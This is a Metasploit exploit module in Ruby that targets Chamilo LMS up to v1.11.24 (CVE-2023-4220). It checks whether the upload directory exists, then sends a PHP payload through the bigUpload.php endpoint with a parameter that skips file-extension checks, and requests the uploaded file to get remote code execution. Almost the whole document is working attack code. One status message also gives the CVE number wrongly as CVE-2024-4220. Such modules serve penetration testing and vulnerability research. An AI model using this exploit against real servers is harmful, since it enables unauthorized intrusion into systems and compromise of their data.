Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::FileDropper
11
  prepend Msf::Exploit::Remote::AutoCheck
12

13
  class UploadFileError < StandardError; end
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell',
20
        'Description' => %q{
21
          Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24
22
          a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to
23
          `post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:
24
          `/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist
25
          by default.
26
        },
27
        'Author' => [
28
          'Ngo Wei Lin', # discovery
29
          'jheysel-r7'   # module
30
        ],
31
        'References' => [
32
          [ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'],
33
          [ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'],
34
          [ 'CVE', '2023-4220']
35
        ],
36
        'License' => MSF_LICENSE,
37
        'Platform' => %w[php],
38
        'Privileged' => false,
39
        'Arch' => [ ARCH_PHP ],
40
        'Targets' => [
41
          [
42
            'PHP',
43
            {
44
              'Platform' => ['php'],
45
              'Arch' => ARCH_PHP
46
            }
47
          ],
48
        ],
49
        'DisclosureDate' => '2023-11-28',
50
        'Notes' => {
51
          'Stability' => [ CRASH_SAFE, ],
52
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
53
          'Reliability' => [ REPEATABLE_SESSION, ]
54
        }
55
      )
56
    )
57
  end
58

59
  def check
60
    res = send_request_cgi(
61
      'method' => 'GET',
62
      'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/')
63
    )
64

65
    return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 404
66

67
    print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.')
68
    test_file_content = rand_text_alphanumeric(8)
69
    test_file_name = rand_text_alphanumeric(8)
70

71
    begin
72
      upload_file(test_file_content, test_file_name)
73
    rescue UploadFileError => e
74
      return CheckCode::Safe("#{e.class}:#{e}")
75
    end
76

77
    CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).')
78
  end
79

80
  def upload_file(file_contents, file_name)
81
    vars_form_data = [
82
      {
83
        'name' => 'bigUploadFile',
84
        'data' => file_contents,
85
        'filename' => file_name,
86
        'mime_type' => 'application/octet-stream'
87
      }
88
    ]
89

90
    res = send_request_cgi(
91
      'method' => 'POST',
92
      'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/inc/bigUpload.php'),
93
      'vars_form_data' => vars_form_data,
94
      'vars_get' => {
95
        'action' => 'post-unsupported'
96
      }
97
    )
98

99
    raise UploadFileError, 'The file upload failed.' unless res&.code == 200 && res&.body == 'The file has successfully been uploaded.'
100

101
    register_file_for_cleanup(file_name)
102
  end
103

104
  def exploit
105
    file_contents = payload.encoded
106
    file_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
107

108
    begin
109
      upload_file(file_contents, file_name)
110
    rescue UploadFileError => e
111
      fail_with(Failure::UnexpectedReply, "#{e.class}:#{e}")
112
    end
113

114
    send_request_cgi({
115
      'method' => 'GET',
116
      'uri' => normalize_uri('/main/inc/lib/javascript/bigupload/files', file_name)
117
    })
118
  end
119
end
120

121